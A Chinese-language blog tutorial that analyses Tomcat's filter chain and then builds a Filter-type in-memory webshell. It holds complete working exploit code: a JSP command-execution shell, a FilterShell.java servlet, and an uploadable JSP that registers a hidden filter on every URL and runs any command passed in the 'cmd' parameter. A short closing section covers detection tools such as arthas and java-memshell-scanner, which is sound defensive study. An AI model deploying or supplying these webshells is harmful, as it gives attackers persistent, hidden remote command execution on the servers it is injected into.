Java安全-Tomcat 之 Filter 型内存马

Java安全-Tomcat 之 Filter 型内存马

先来回忆一下Filter功能,再阐述一下大致思路

可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

所以我们后文的目标:动态注册恶意 Filter,并且将其放到 最前面

Tomcat Filter流程分析

项目搭建

  • Tomcat 8.5.81

首先创建一个Servlet

自定义一个Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.*;
import java.io.IOException;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter start");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Performed a filtering operation");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
}

然后修改 web.xml 文件,这里我们设置url-pattern为 /filter 即访问 /filter 才会触发

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

开启服务器测试一下

访问/filter路由发现再控制台顺利打印出结果

在访问 /filter 之后的流程分析

主要是分析 Tomcat 中是如何将自定义的 filter 进行设置并且调用的

流程分析之前,需要像刚才导入 Servlet.jar 一样,导入 catalina.jar 这个包,以及 tomcat-websocket 包

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>

导入完毕之后,我们在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口,至此,调试正式开始

这里跟进,发现会先调用到getFilter方法,之后来到doFilter方法

进入到ApplicationFilterChain#doFilter

这个方法主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断

步入之后直接走到结尾

1
this.internalDoFilter(request, response);

继续跟进去,这里是 ApplicationFilterChain 类的 internalDoFilter() 方法

其中filter是从 ApplicationFilterConfig filterConfig = filters[pos++];中来的,而filters的定义如下:

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

这里实际上是有两个filter的,0 是我们自己设定的 filter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter

点开filters变量显示一下即可看到

之后会先getFilter,再经过一系列判断,走到doFIlter方法

之后步入中这行代码时,会走到chain.doFilter(request, response);

执行这行代码会再此回到ApplicationFilterChain#doFilter

  • 这个地方实际需要理解一下,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个
  • 每经过一个FIlter,就会再次回到ApplicationFilterChain#doFilter进入循环,开头是ApplicationFilterChain#doFilter,结尾也是ApplicationFilterChain#doFilter

因为我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次

在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response); 这个地方

之后就会正常调用服务了

总的来说

最后一个 filter 调用 servlet 的 service 方法

上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()

在访问 /filter 之前的流程分析

分析目的在于:假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。

可以把断点下载最远的一处 invoke() 方法的地方,StandardWrapperValve#invoke

在 doFilter() 方法之前,一整个流程如图

进行逆向分析

  • 此处我们选到最远处的一个 invoke() 方法,如图

看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序

接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

可以用这张图来表示这一整个过程

看一下每个经过的类(主要关注不属于tomcat架构的类)有什么用

  1. StandardWrapperValve (调用位置: invoke:96)
  • StandardWrapperValve 继承自 ValveBase,是 Tomcat 中用来处理请求的管道组件。
  • 作用:负责请求到达 Tomcat 容器时,分配到具体的 Servlet,并执行该 Servlet 的生命周期方法(如 service())。它也处理对 ServletRequestServletResponse 的封装。
  1. StandardContextValve (调用位置: invoke:97)
  • StandardContextValve 是 Tomcat 中处理 web 应用的上下文的管道组件。
  • 作用:它主要处理请求的上下文(Context),会负责识别请求是否符合应用的配置要求,过滤掉无效的请求,或者将请求转发到合适的 Servlet 或 JSP。
  1. AuthenticatorBase (调用位置: invoke:543)
  • AuthenticatorBase 是 Tomcat 认证过程的基类,提供基本的身份验证机制。
  • 作用:当请求需要进行身份验证时,这个类会处理相关的认证操作。通常是在用户请求资源时,验证用户的身份信息是否正确(比如 HTTP 基本认证或表单认证)。
  1. StandardHostValve (调用位置: invoke:135)
  • StandardHostValve 是用于处理虚拟主机请求的 Valve。
  • 作用:它处理请求是否属于当前的虚拟主机(Host),根据虚拟主机的配置来路由请求。虚拟主机是 Tomcat 支持多站点的功能,用来根据域名分发请求到不同的应用。
  1. ErrorReportValve (调用位置: invoke:92)
  • ErrorReportValve 负责在请求处理过程中出错时生成错误报告。
  • 作用:当发生错误(例如 HTTP 错误 404 或 500)时,ErrorReportValve 会生成详细的错误信息(如堆栈跟踪)并将其返回给客户端。
  1. AbstractAccessLogValve (调用位置: invoke:698)
  • AbstractAccessLogValve 是用于记录访问日志的基类。
  • 作用:它负责将请求的详细信息(如请求的 URL、时间戳、客户端 IP 等)记录到日志文件中,以供后续分析。它支持灵活的日志格式配置,并且是 Tomcat 默认启用的访问日志功能的基础。
  1. StandardEngineValve (调用位置: invoke:78)
  • StandardEngineValve 是 Tomcat 中的引擎级别的 Valve,负责处理跨应用的请求。
  • 作用:它是在 Tomcat 中对整个引擎(Engine)进行请求处理的组件。在请求到达应用之前,它负责进行一些全局级的操作,比如进行负载均衡、跨应用请求的转发等。

至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往后看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的。如图,我们把断点下过去。如果师傅们这个 invoke() 方法可用的话,可以断点下这里,如果不可用的话可以下到后面的 doFilter() 方法

这里我们要重点关注前文说过的 filterChain 这个变量

找到定义它的地方

我们跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递

找ai翻译了一下这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
// 如果 servlet 为 null,返回 null
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null; // 声明过滤器链对象

// 如果请求是 Request 类型
if (request instanceof Request) {
Request req = (Request)request;

// 如果安全性启用,创建一个新的过滤器链
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
// 否则获取已有的过滤器链,如果没有,则创建新的过滤器链
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 如果请求不是 Request 类型,直接创建新的过滤器链
filterChain = new ApplicationFilterChain();
}

// 设置过滤器链使用的 servlet
filterChain.setServlet(servlet);

// 设置 servlet 是否支持异步
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// 获取上下文(StandardContext 是 ServletContext 的实现)
StandardContext context = (StandardContext)wrapper.getParent();

// 获取与上下文相关的过滤器映射(FilterMaps)
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
// 获取请求的分派类型(DispatcherType)
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");

// 获取请求路径
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}

// 获取 servlet 名称
String servletName = wrapper.getName();

// 遍历所有过滤器映射,匹配 Dispatcher 和请求路径
for (int i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersURL(filterMaps[i], requestPath)) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig); // 将匹配的过滤器添加到过滤器链
}
}
}

// 返回创建好的过滤器链
return filterChain;
} else {
// 如果没有过滤器映射,直接返回已创建的过滤器链
return filterChain;
}
}
}

这一段

1
2
3
4
5
6
7
8
for (int i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersServlet(filterMaps[i], servletName)) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig); // 将匹配的过滤器添加到过滤器链
}
}
}

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中

filterConfig

1
2
3
public FilterConfig findFilterConfig(String name) {
return (FilterConfig)this.filterConfigs.get(name);
}

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析

createFilterChain方法流程

  1. 方法签名
    • createFilterChain:创建过滤器链。
    • 参数:
      • ServletRequest request:HTTP 请求对象。
      • Wrapper wrapper:表示 Servlet 的封装对象。
      • Servlet servlet:目标 servlet。
  2. 检查 servlet 是否为 null
    • 如果 servletnull,则直接返回 null,否则继续执行。
  3. 初始化 filterChain
    • 如果请求对象 requestRequest 类型,则使用 request 对象中的过滤器链(如果存在)或创建一个新的过滤器链。
    • 否则,直接创建一个新的 ApplicationFilterChain
  4. 设置 filterChain 的 servlet
    • 将传入的 servlet 设置为 filterChain 的目标 Servlet。
  5. 获取并设置异步支持
    • 设置 filterChain 是否支持异步请求。
  6. 查找并处理过滤器映射
    • 获取 StandardContext(上下文)中的所有 FilterMap,这些映射定义了请求与过滤器之间的关系。
    • 根据请求的 DispatcherTyperequestPath,匹配合适的过滤器映射,并将匹配的过滤器添加到过滤器链中。
    • 同样的,按照 DispatcherTypeservletName 进行匹配,添加相应的过滤器。
  7. 返回过滤器链
    • 如果找到了过滤器映射并成功匹配,返回创建好的 filterChain。如果没有找到过滤器映射,返回默认的过滤器链。

总结:

这段代码的主要作用是根据请求、Servlet 和上下文中的配置信息,创建一个适当的 ApplicationFilterChain 对象,并将符合条件的过滤器(Filter)加入到该链中,最终返回这个过滤器链。这个链会在请求的生命周期中执行。

小结一下分析流程

总结一下两个流程

1. 首先是 invoke() 方法

层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配

Engine->Host->Context->Wrapper

2. filterchain 拿出来之后

进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。

3. 最后一个 filter

最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。

4. 小结一下攻击的思路

攻击的代码应该生效在这里

获取到filterconfig

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签

filterMap中的映射定义了请求与过滤器之间的关系

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

所以后续的话,我们一定是思考通过某种方式去触发修改它的

Filter型内存马攻击思路分析

  • 上文我们说到,我们一定是思考通过某种方式去触发修改 filterMaps 的,也就是如何修改 web.xml 中的 filter-mapping 标签。

filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

1
2
3
4
5
filterMaps变量:包含所有过滤器的URL映射关系 

filterDefs变量:包含所有过滤器包括实例内部等变量

filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

1
2
3
4
5
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap(); 

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
  • 讲完了一些基础的概念,我们来看一看 ApplicationFilterConfig 里面存了什么东西

看到我们之前调试的时候分析到的

它有三个重要的东西:
一个是ServletContext,一个是filter,一个是filterDef

  • 其中filterDef就是对应web.xml中的filter标签
1
2
3
4
<filter> 
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>

从org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name, filterConfig);添加

构造思路

通过前文分析,得出构造的主要思路如下

  1. 获取当前应用的StandardContext对象
  2. 通过StandardContext对象再获取filterConfigs
  3. 接着实现自定义想要注入的filter对象
  4. 然后为自定义对象的filter创建一个FilterDef
  5. 最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

这一块很多类名都比较像,很容易混淆,总结了一张图

Filter内存马的实现

先看一下有回显的木马

实际上就是比无回显多了一个输入输出的工作

1
2
3
4
5
6
7
8
9
10
11
12
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}

%>

我们之后就是要将此木马配置成恶意filter,再注入到内存中

在现实情况中需要动态的将该 Filter 给添加进去

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。

构造流程

第一步需要获取StandardContext对象,联想到之前构造CC链EXP的过程,首先想到的是反射获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ServletContext servletContext = request.getSession().getServletContext();  

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

定义一个Filter,将有回显的木马写进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Filter filter = new Filter() {  

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
  • 再设置 FilterDef 和 FilterMaps

filterMap是映射关系,filterDef是filter-name和filter-class

依旧是利用反射进行获取和修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面

1
2
3
4
5
6
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");

完整的 EXP 如下所示

FilterShell.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import org.apache.catalina.Context;  
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

成功

如果文件上传的话应该是上传一个 .jsp 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%--
User: Drunkbaby
Date: 2022/8/27
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "Drunkbaby";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

到时候上传这个 jsp 马即可

排查java内存马

基本全部出自:http://wjlshare.com/archives/1529

arthas

项目链接:https://github.com/alibaba/arthas

我们可以利用该项目来检测我们的内存马

1
java -jar arthas-boot.jar --telnet-port 9998 --http-port -1

这里也可以直接 java -jar arthas-boot.jar

这里选择我们 Tomcat 的进程

输入 1 之后会进入如下进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类?

利用jad --source-only org.apache.jsp.evil_jsp 直接将 Class 进行反编译,这样就完成了防御。

同时也可以进行监控 ,当我们访问 url 就会输出监控结果

1
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

copagent

项目链接:https://github.com/LandGrey/copagent

也是一款可以检测内存马的工具

java-memshell-scanner

项目链接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具,工具界面如图

该工具是由 jsp 实现的,我们这里主要来学习一下 c0ny1 师傅 删除内存马的逻辑

检测是通过遍历 filterMaps 中的所有 filterMap 然后显示出来,让我们自己认为判断,所以这里提供了 dumpclass

删除的话,这里主要是通过反射调用 StandardContext#removeFilterDef 方法来进行删除


Java安全-Tomcat 之 Filter 型内存马
http://huang-d1.github.io/2025/10/16/Java安全-Tomcat 之 Filter 型内存马/
作者
huangdi
发布于
2025年10月16日
许可协议